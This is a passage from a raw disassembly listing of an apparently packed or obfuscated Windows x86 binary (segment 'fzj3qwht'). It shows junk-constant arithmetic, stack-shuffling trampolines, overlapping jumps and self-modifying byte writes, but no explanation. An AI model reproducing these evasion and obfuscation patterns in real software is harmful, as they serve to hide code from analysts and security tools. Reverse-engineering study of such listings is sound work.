dup(0) ; --------------------------------------------------------------------------- loc_431113: ; CODE XREF: fzj3qwht:loc_42F99Ej jmp sub_42FCC8 ; --------------------------------------------------------------------------- loc_431118: ; CODE XREF: fzj3qwht:loc_42E950j mov byte ptr [eax], 87h xchg ecx, [esp] mov eax, ecx pop ecx mov ecx, esi pop esi jmp near ptr loc_43247B+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_43112B: ; CODE XREF: sub_431F5F-2DF2j or ebx, 13FAD79Dh jmp near ptr dword_42EB78+39h ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- or al, 24h pop ecx push 42633AEBh pop edx sub edx, 0A0FC59DBh jmp loc_4326A3 ; --------------------------------------------------------------------------- dd 0ED810000h, 0BC7A3344h, 87241C87h, 0DA8B2414h, 9431685Ah dd 0B1E9472Fh db 0F5h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_431167 proc near ; CODE XREF: sub_431452p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EF10 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042FF7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430025 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430837 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430E53 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430E98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043281C SIZE 0000000F BYTES xchg esi, [esp+0] pop esi xchg ecx, [esp+0] xchg eax, [esp+0] mov ecx, eax pop eax push ecx mov ecx, eax jmp loc_430837 sub_431167 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C7685300h, 872E4E3Ch, 0DD8B242Ch, 57C3D15Dh, 0FFFF7BE9h dd 30000FFh, 110CE9DAh, 0 ; --------------------------------------------------------------------------- loc_43119C: ; CODE XREF: fzj3qwht:loc_4309D2j mov esi, 42FBD7h jmp near ptr byte_42F52D+2 ; --------------------------------------------------------------------------- loc_4311A6: ; CODE XREF: fzj3qwht:loc_43025Aj mov byte ptr [edx], 89h pop edx push edi push offset loc_42FD94 jmp loc_430AD1 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFF18787h, 240C87FFh, 8BF08159h, 0E9DA5CD1h, 0FFFFDAAFh ; CODE XREF: fzj3qwht:00432362p dd 0F87D83h, 6568D0Fh, 0CBE80000h, 0FFFFEAh ; --------------------------------------------------------------------------- loc_4311DC: ; CODE XREF: fzj3qwht:00430DCEj jmp locret_42F584 ; --------------------------------------------------------------------------- align 2 dw 0CEC1h dd 0F780E918h, 8F0FFFFFh, 0A9Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_4311F0: ; CODE XREF: sub_431F5F:loc_42F167j call sub_42A134 loc_4311F5: ; CODE XREF: fzj3qwht:0043036Aj ; sub_431F5F+Bj xchg ebx, [esp+0] mov eax, ebx jmp loc_431D14 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 10h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_431202: ; CODE XREF: fzj3qwht:004306E9j retn ; --------------------------------------------------------------------------- align 4 locret_431204: ; CODE XREF: fzj3qwht:00430DFCj retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF107h, 67680000h, 0E9004318h, 0FFFFFC6Bh, 3C87FA8Bh dd 1BDBA24h, 0FAE90043h, 3 ; --------------------------------------------------------------------------- loc_431228: ; CODE XREF: fzj3qwht:loc_432467j mov byte ptr [eax], 1 pop eax lodsb loc_43122D: ; DATA XREF: fzj3qwht:0042FB7Fo add edx, eax rol edx, 3 loc_431232: ; CODE XREF: fzj3qwht:0042F7BFj call near ptr dword_42F064+3Fh ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_431239: ; CODE XREF: sub_431AED+Fj pop esi xchg ebx, [esp-4+arg_0] mov ecx, ebx pop ebx push 0C4F30422h xchg esi, [esp-4+arg_0] mov eax, esi jmp loc_4316D0 ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- db 9Ch dd 0C9A47C68h, 0CF815F5Ah, 2E8D35F7h, 0FCDBC781h, 0FD030241h dd 4D32C781h, 0A1E97EF0h, 0FFFFEAh ; --------------------------------------------------------------------------- loc_431270: ; CODE XREF: fzj3qwht:loc_42F984j call sub_42FF32 ; --------------------------------------------------------------------------- db 2 dup(0), 55h ; --------------------------------------------------------------------------- jmp loc_42E77C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43127F: ; CODE XREF: fzj3qwht:0043110Cj push 0B9FA1DE8h pop edi rol edi, 11h add edi, 0F7BBB1CFh loc_43128E: ; CODE XREF: fzj3qwht:0042EA26j jmp loc_42FACF ; --------------------------------------------------------------------------- align 4 dd 0FD4A6800h, 0B8E90042h, 1, 0A4F0DB81h, 0DF1B33B6h, 9A5E9h dd 81000000h, 885C65CEh, 0E52CE9E3h, 0C300FFFFh ; --------------------------------------------------------------------------- loc_4312BC: ; CODE XREF: fzj3qwht:0042F492j jmp loc_43169A ; --------------------------------------------------------------------------- align 2 locret_4312C2: ; CODE XREF: fzj3qwht:004313A9j retn ; --------------------------------------------------------------------------- loc_4312C3: ; CODE XREF: fzj3qwht:00430832j pushf push edx push 0E5366D6Eh push esi mov esi, offset loc_42F957 jmp loc_42F8B4 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4312D7 proc near ; CODE XREF: sub_42F04D+Dp ; fzj3qwht:004303D5j ; FUNCTION CHUNK AT 0042F7B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004302A9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00431B2E SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx push 0D8027EBFh xchg edi, [esp+0] mov eax, edi jmp loc_42F7B5 sub_4312D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_4312EC: ; CODE XREF: sub_431452+96j xchg edx, [esp+0] mov edi, edx pop edx mov byte ptr [eax], 0C3h push edx push 0DE570ECDh xchg esi, [esp+4+var_4] jmp loc_42F4E0 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- rol ecx, 6 sub ecx, 69C05D74h xor ecx, 5C00984Eh sub ecx, 222D6085h add ecx, 8CB5E104h jmp loc_4325EE ; --------------------------------------------------------------------------- db 0E8h dd 0FFFFF826h, 0E77AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43132E: ; CODE XREF: fzj3qwht:0042F7F8j mov byte ptr [ebx], 88h pop ebx add edx, 30h push 0AB6C8639h pop eax jmp loc_4300D1 ; --------------------------------------------------------------------------- dd 242C8700h, 815DC58Bh, 0EB4CBAE0h, 0DAE88113h, 0E9EAF184h dd 0FFFFEA78h ; --------------------------------------------------------------------------- locret_431358: ; CODE XREF: fzj3qwht:00430881j retn ; --------------------------------------------------------------------------- db 2 dup(0), 87h dd 5B5B241Ch, 8B240C87h, 8F6859D9h, 0E9004302h, 0FFFFDB42h dd 26A2D281h, 0BCE9E887h, 0FFFFFDh, 0E9CF3B5Eh, 0FFFFFE33h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_431F11 loc_431388: ; CODE XREF: sub_431F11+7j jmp loc_43270D ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_43138D: ; CODE XREF: sub_4301AC:loc_430C2Fj add edi, 91DF98CFh cmp eax, edi pop edi jmp near ptr byte_42E865+2 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- align 4 dd 0E9589D00h, 0FFFFF8C8h ; --------------------------------------------------------------------------- loc_4313A4: ; CODE XREF: fzj3qwht:004328B3j push offset dword_4308DC jmp locret_4312C2 ; --------------------------------------------------------------------------- dw 8100h dd 0E53B80C5h, 0EE5EE9A5h, 0FFFFh, 689C008Bh, 0C4D4678Ah dd 0F64E959h db 3 dup(0) ; --------------------------------------------------------------------------- loc_4313CB: ; CODE XREF: fzj3qwht:loc_42F9FAj call sub_43239B sbb esi, ebx and eax, 17AD334Ah rol eax, 18h xor eax, 655EA351h push offset word_4327A6 jmp locret_43188F ; --------------------------------------------------------------------------- loc_4313EB: ; CODE XREF: fzj3qwht:loc_42FA05j jp loc_430173 ; =============== S U B R O U T I N E ======================================= sub_4313F1 proc near ; CODE XREF: fzj3qwht:0043027Cp xchg ecx, [esp+0] pop ecx push edx push 42ECA6h jmp nullsub_150 sub_4313F1 endp ; --------------------------------------------------------------------------- dd 11870000h, 0E914E9C1h, 0FFFFF08Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_43140E: ; CODE XREF: fzj3qwht:00430174j mov [ebx], ecx ; =============== S U B R O U T I N E ======================================= sub_431410 proc near ; CODE XREF: fzj3qwht:0042EFC8p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0042FE63 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00431A18 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00431A37 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004320F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432616 SIZE 00000015 BYTES xchg eax, [esp+0] pop eax add eax, 8443A509h loc_43141A: ; CODE XREF: sub_42F4AE+EAj mov eax, [eax] sub eax, edx jz loc_42FE63 jmp loc_432616 sub_431410 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 xor esi, 0B02F0C60h and esi, 0A62240BAh xor esi, 7D6371B8h add edx, esi pop esi mov edx, [edx] jmp loc_432789 ; --------------------------------------------------------------------------- loc_431446: ; DATA XREF: fzj3qwht:0042FE17o mov byte ptr [ebp-20h], 30h inc dword ptr [ebp-10h] ; START OF FUNCTION CHUNK FOR sub_431686 loc_43144D: ; CODE XREF: sub_431686:loc_431C97j call sub_42FED0 ; END OF FUNCTION CHUNK FOR sub_431686 ; =============== S U B R O U T I N E ======================================= sub_431452 proc near ; CODE XREF: fzj3qwht:0042EF4Bp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EF52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FCE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430338 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00430598 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004312EC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00431946 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431A88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431D26 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00431EF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004320D8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004325F3 SIZE 0000000D BYTES call sub_431167 jmp locret_4315E0 ; --------------------------------------------------------------------------- dd 59240C87h, 0DED6C681h, 34877F73h, 0D38CE824h, 0E900FFFFh dd 0FFFFF7D7h db 0 ; --------------------------------------------------------------------------- loc_431475: ; CODE XREF: fzj3qwht:0042F7EFj jmp loc_431D26 ; --------------------------------------------------------------------------- or esi, 0CB694E7Ch loc_431480: ; CODE XREF: sub_42E990+4p xchg edi, [esp+4+var_4] pop edi xchg edx, [esp+0] push offset byte_430405 jmp loc_431EF6 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0FFDDBDE9h db 0FFh db 0D5h, 5, 9Dh ; DATA XREF: sub_431F38+5o dd 68004321h, 431714h, 0FFFD5EE9h, 0F0000FFh, 0FFDC0B85h dd 0FC1AE9FFh, 0FFFFh, 0CB1B078Bh, 0FFDBF5E9h, 810000FFh dd 5D5006FDh, 0F694E976h, 8100FFFFh, 0DB902CD5h, 0F823E99Ch dd 0F00FFFFh, 92880h db 0 ; --------------------------------------------------------------------------- loc_4314E1: ; CODE XREF: fzj3qwht:0042F2A3p xchg esi, [esp+4+var_4] pop esi xchg edi, [esp+0] jmp loc_4312EC ; --------------------------------------------------------------------------- db 0Fh, 83h, 3Dh dd 0E9FFFFE0h, 0FFFFDF08h db 2 dup(0) ; --------------------------------------------------------------------------- locret_4314FA: ; CODE XREF: sub_4301B7-723j retn ; --------------------------------------------------------------------------- align 4 dd 0FFFA8EE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_431502: ; CODE XREF: fzj3qwht:0042EEF0j call near ptr dword_42EEA4+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_431508: ; CODE XREF: fzj3qwht:loc_42EA3Fj retn ; --------------------------------------------------------------------------- db 0E9h, 2Ch, 0FAh dd 1268FFFFh, 87487869h ; --------------------------------------------------------------------------- std xor esi, edx loc_431517: ; CODE XREF: sub_430AEE:loc_430C3Dj call sub_42EE90 loc_43151C: ; CODE XREF: sub_42F4AE+2F8Fp xchg edx, [esp+0] pop edx push 8FD8D7ACh xchg ecx, [esp+0] mov edx, ecx pop ecx and edx, 4FA92517h jmp loc_431946 ; --------------------------------------------------------------------------- dw 339Ch dd 52E881F1h, 68A4B4D8h, 430690h, 0FFF144E9h, 810000FFh dd 47C3E1C2h, 243487ACh, 0E8C3815Eh, 0E9D40303h, 0FFFFF001h dd 689D0000h, 431675h, 61AE9h, 0C30000h, 241C8700h, 0C87CB8Bh dd 0E9D98B24h, 0FFFFF048h, 24148700h, 0EB8B555Ah, 0FFE016E9h dd 0C10000FFh, 0FCE905EBh, 0C1FFFFF2h db 0E8h, 3 ; --------------------------------------------------------------------------- loc_43159A: ; CODE XREF: sub_42FF6B:loc_432476p xchg eax, [esp-4+arg_0] xchg ebp, [esp-4+arg_0] mov eax, ebp pop ebp mov byte ptr [esi], 0Fh pop esi jmp loc_42EF52 ; --------------------------------------------------------------------------- locret_4315AC: ; CODE XREF: sub_42F4AE+3138j retn ; --------------------------------------------------------------------------- loc_4315AD: ; CODE XREF: fzj3qwht:00432674j jmp near ptr dword_42EA44+12h ; --------------------------------------------------------------------------- db 0C6h ; Æ db 1 db 9Ch ; œ db 59h ; Y db 81h ; db 0CBh ; Ë db 39h ; 9 db 79h ; y db 0Ah db 9Ah ; š db 81h ; db 0EBh ; ë db 29h ; ) db 0EBh ; ë db 0E7h ; ç db 0Ah db 81h ; db 0CBh ; Ë db 1Eh db 11h db 92h ; ’ db 0BCh ; ¼ db 0E9h ; é db 54h ; T db 0F5h ; õ db 0FFh db 0FFh db 89h ; ‰ db 3Eh ; > db 0E9h ; é db 0CDh ; Í db 0F1h ; ñ db 0FFh db 0FFh db 1Bh db 0F3h ; ó db 87h ; ‡ db 3Ch ; < db 24h ; $ db 5Fh ; _ db 56h ; V db 0E9h ; é db 29h ; ) db 6 db 0 db 0 ; --------------------------------------------------------------------------- locret_4315E0: ; CODE XREF: sub_431452+5j retn sub_431452 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0FFDAA2E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_4301AC loc_4315EA: ; CODE XREF: sub_4301AC+1B2Aj jge loc_431DA4 add cl, al jecxz short loc_431604 sub eax, 0E59B55E5h mov eax, [esi] not ebx jmp loc_431DA4 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431604: ; CODE XREF: sub_4301AC+1446j ; fzj3qwht:loc_4321CFj add [edi], cl test [ecx+0Dh], dl ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 2 dup(0), 55h ; --------------------------------------------------------------------------- or ebp, esi push 0E910C2EEh add edx, 0D85253DDh jmp loc_43235C ; --------------------------------------------------------------------------- dw 0C300h dd 0F0E6E900h db 2 dup(0FFh), 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_43162A: ; CODE XREF: fzj3qwht:0043104Bj jmp loc_43172C ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_431630: ; CODE XREF: sub_42FF6B+9j jmp loc_42FD40 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- loc_431635: ; CODE XREF: fzj3qwht:0042EEFBj jmp loc_4301ED ; --------------------------------------------------------------------------- dw 8700h dd 24E82434h, 0FFFFE5h, 1320E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_43164B: ; CODE XREF: sub_4301B7:loc_4324AAj test ecx, 200000h jmp loc_42EA10 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- dw 0E981h dd 2809DEB7h, 4464C981h, 0C181631Fh, 0E6CAFA77h, 5F68CD03h dd 0E900431Ah, 0FFFFFFABh, 4AE800h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_43167B: ; CODE XREF: sub_430F48-B85j jmp loc_42FB2D ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- dd 11D5E900h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_431686 proc near ; CODE XREF: fzj3qwht:00430267j ; fzj3qwht:004327D1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042EC41 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042F33B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F3B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FB23 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FEB9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043095D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430B7C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00430CA0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004310C1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043144D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431890 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431A12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431C97 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00432306 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432775 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043278E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00432921 SIZE 0000002E BYTES xchg ecx, [esp+0] xchg ebp, [esp+0] mov ecx, ebp pop ebp pushf push 389FB315h jmp loc_432921 sub_431686 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43169A: ; CODE XREF: fzj3qwht:loc_4312BCj and edx, 0D91DCBF9h sub edx, 9A1D4C15h add edx, 0B4B93569h add edx, ebp call sub_43041D ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: fzj3qwht:00430854j jmp loc_42FB23 ; --------------------------------------------------------------------------- dw 0E900h dd 3E2h, 0C5870000h, 59240C87h, 0E85D00C6h, 3F4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_4316D0: ; CODE XREF: sub_431AED-8A3j jmp loc_42EE3D ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- align 2 loc_4316D6: ; CODE XREF: fzj3qwht:loc_43050Dj pop edi and edi, 3F647BE2h add edi, 0D768FF9h add edi, ebp add edi, 0B869600Dh call near ptr dword_42F30C+11h add [ecx+1F4718DEh], al xchg eax, edx jmp sub_42FF32 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4316FE proc near ; CODE XREF: sub_42E990+Bj ; sub_431452+C92p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042ED04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F975 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004302F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00431965 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043249C SIZE 00000005 BYTES xchg edx, [esp-4+arg_0] pop edx add edx, 496CA7E7h push esi mov esi, (offset loc_430CD8+1) jmp loc_4302F8 sub_4316FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0E425810Fh, 0EFE8FFFFh, 0FFFFDAh ; --------------------------------------------------------------------------- loc_431720: ; CODE XREF: fzj3qwht:00430AA7j jmp near ptr byte_42FABD+2 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0A44h ; --------------------------------------------------------------------------- loc_43172C: ; CODE XREF: fzj3qwht:loc_43162Aj and edx, 3B3AB8D3h xor edx, 7DC10DF5h push 42F0E2h jmp near ptr dword_42E8AC+0Eh ; --------------------------------------------------------------------------- align 4 loc_431744: ; DATA XREF: fzj3qwht:loc_4307AEo push ecx mov ecx, esi call sub_431C85 call ds:dword_42A0C0 ; ExitProcess push edx mov edx, esi xchg edx, [esp] jmp loc_432662 ; --------------------------------------------------------------------------- align 2 dw 0DA33h dd 0E909C9C1h, 0FFFFE674h, 0A5CB6800h, 815A3CBCh, 0D2B757C2h dd 96F2817Bh, 52614C8Fh, 430E38BAh, 0E197E900h, 0FFFFh dd 0F3EE9C3h, 1C870000h, 1A196824h, 6EE90043h, 7, 0A2A7F681h dd 92E98209h, 11h db 0 byte_4317A9 db 81h, 0C0h, 8Bh ; DATA XREF: sub_430E27+9F3o dd 3A5AB89h, 18FF68C5h, 0FAE90043h, 0FFFFD0h db 0 byte_4317BD db 8Bh, 9, 9Ch ; DATA XREF: sub_42F4AE-1AEo dd 43110568h, 0FFBFE900h, 0FFFFh, 430C4E68h, 0FC99E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4317D6: ; CODE XREF: sub_42FA52:loc_42F73Cj xor esi, 36A6EEB7h push offset loc_42FBAF jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 4 js loc_430F5C jmp sub_430011 ; --------------------------------------------------------------------------- align 4 dd 6DFA8100h, 0E9706B58h, 0FEFh, 0E9C30000h, 0DA7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43180A: ; CODE XREF: fzj3qwht:0042F1D4j jmp loc_432754 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_431811: ; CODE XREF: sub_430E27:loc_431FD9j rol eax, 11h and eax, 0FDBE8957h push offset byte_4317A9 jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dd 24348700h, 0F85DF75Eh, 0F87D83h, 0FC17840Fh, 28E9FFFFh dd 0C6FFFFE1h, 685F8707h, 0EEAC8EE1h, 8B240C87h, 0C88159C1h dd 21CBB7AEh, 0EF09E081h, 7CE9E556h, 3, 19AFBB00h, 0FDE90043h dd 68000009h, 7D525D7Ah, 1BC08158h, 815988F6h, 4E9BB8E0h dd 9A5E920h, 0C30000h, 8701C600h, 0DE96859h, 9CE90043h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_43188F: ; CODE XREF: fzj3qwht:004313E6j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_431890: ; CODE XREF: sub_431686+12C4j jmp loc_431C97 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 2 jmp locret_42FACC ; --------------------------------------------------------------------------- align 4 dd 0DD8EE999h, 8700FFFFh, 2C872434h, 5DF58B24h, 0D1D6852h dd 1BE9A353h, 1, 0E8CF8B00h, 0F1Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4318C2: ; CODE XREF: fzj3qwht:0042FAA2j jmp locret_42F981 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_4318C9: ; CODE XREF: fzj3qwht:loc_42FACFj rol edi, 6 add edi, 5B5F65E4h call sub_42FA52 mov esi, 6064ECEBh jmp sub_42ED87 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4318E2 proc near ; CODE XREF: sub_431686+12AEp xchg edi, [esp+0] pop edi add edx, 0C483AE96h stosd call sub_431E7D retn sub_4318E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4318F3: ; CODE XREF: fzj3qwht:004306FCj jmp near ptr dword_430054+12h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_4318F9: ; CODE XREF: sub_42F4AE+20Aj jmp locret_42F525 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 8100h dd 0BE6D1EC0h db 71h, 8Bh, 0 byte_431907 db 15h ; DATA XREF: fzj3qwht:0042FBB2o dd 0FFECC6E8h, 726857FFh, 0E9B2B75Ah, 0FFFFE45Fh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_43191A: ; CODE XREF: sub_42FA52:loc_42F736j push edx push 0E6F12C6Ch pop edx or edx, 0E7BBA961h rol edx, 13h xor edx, 0F8335E68h add edx, 6CE6A87Ch jmp loc_42FE43 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; =============== S U B R O U T I N E ======================================= sub_43193B proc near ; DATA XREF: fzj3qwht:loc_430248o mov byte ptr [esi], 0C7h pop esi add edx, ebp call loc_43099D sub_43193B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_431452 loc_431946: ; CODE XREF: sub_431452+DFj jmp loc_4320D8 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0D682820Fh, 0C5B8FFFFh, 0E9A63BDBh, 0FFFFD925h db 0 ; --------------------------------------------------------------------------- loc_43195D: ; CODE XREF: fzj3qwht:loc_432633j xchg esi, [esp] mov ebp, esi pop esi retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_431965: ; CODE XREF: sub_4316FE-13FEj push edi mov edi, ebp xchg edi, [esp+0] jmp loc_42ED04 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_431971: ; CODE XREF: sub_431F5F-151Fj call sub_43052F loc_431976: ; CODE XREF: fzj3qwht:0043024Dj add cl, ch sub ch, dh ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 0FFFFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F188 loc_43197D: ; CODE XREF: sub_42F188+1Aj jmp loc_42F9E4 ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- jmp loc_431D6D ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_431989: ; CODE XREF: fzj3qwht:0042EB73j xchg edi, [esp] pop edi push edx mov edx, offset loc_431EE7 jmp loc_42FC56 ; --------------------------------------------------------------------------- dd 0E93E8900h, 701h db 0 byte_4319A1 db 87h, 0Ch, 24h ; DATA XREF: fzj3qwht:loc_42F7FDo dd 0FFE191E9h, 0EDB800FFh, 0BC00424Fh, 6C84C6C0h, 52FFFFE1h dd 0FFFDACE9h, 81F91BFFh, 29B569C2h, 81C2D16Ah, 4F1770C2h dd 0DD4FE864h, 0D5E9FFFFh, 0FFFFD3h ; --------------------------------------------------------------------------- loc_4319D8: ; CODE XREF: fzj3qwht:0043030Ej jmp loc_431BFC ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- retn 0FEADh ; --------------------------------------------------------------------------- db 87h dd 0AEFC1B7h, 0FFF53DE9h, 520000FFh, 0C813FC68h, 0EA815AA4h dd 0F57473FAh, 5FFDC281h, 148750ACh, 0C015FF24h, 0E80042A0h dd 0FFFFFBC6h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_431A12: ; CODE XREF: sub_431686-1B5Ej jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431410 loc_431A18: ; CODE XREF: sub_431410+63Fj add [ebx-2E74AD14h], cl call sub_42E990 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_431A25: ; CODE XREF: fzj3qwht:00430EDDj jmp loc_4307D0 ; --------------------------------------------------------------------------- test edx, 534A64Fh jmp loc_431ABE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_431A37: ; CODE XREF: sub_431410:loc_4320F3j and edi, 9E9541A6h 